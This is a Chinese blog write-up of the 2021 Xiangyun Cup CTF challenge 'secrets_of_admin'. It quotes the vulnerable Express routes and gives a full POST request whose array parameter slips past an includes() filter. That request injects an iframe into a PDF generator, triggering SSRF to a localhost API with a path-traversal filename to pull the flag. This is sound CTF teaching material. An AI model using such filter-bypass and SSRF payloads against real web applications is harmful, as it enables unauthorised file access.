[2021祥云杯]secrets_of_admin

[2021祥云杯]secrets_of_admin

解题步骤

学弟做出来的,来自学弟的wp

app.ts中发现有这么一行:
app.use(bodyParser.urlencoded({extended: true}));
这表示提交的参数可以被当作一个Object而不是String
向/admin提交POST请求尝试触发SSRF,由于过滤了字符串,因此需要提交数组,绕过includes检测

POST /admin HTTP/1.1
Host: xxxxxxxx
Cookie: xxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 256

content%5B0%5D=%3C%2Fh3%3E%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D..%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%20height%3D%22250%22%20width%3D%22300%22%3E%3C%2Fiframe%3E%3Ch3%3E

提交了一个表单表单的 key 是 content[0] 内容是:
</h3><iframe src="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=be5a14a8e504a66979f6938338b0662c" height="250" width="300"></iframe><h3>
然后访问/api/files/be5a14a8e504a66979f6938338b0662c即可下载flag

在database.ts里面有admin密码
INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');
admin登录后,就进入/admin

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

像上面的wp一样,绕过include检测,插入js代码。然后数据库里面会有文件名和checksum记录。
到/api/files里面需要本地才能查看文件,而且文件用checksum检索。
所以直接插入上面的payload进行ssrf。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇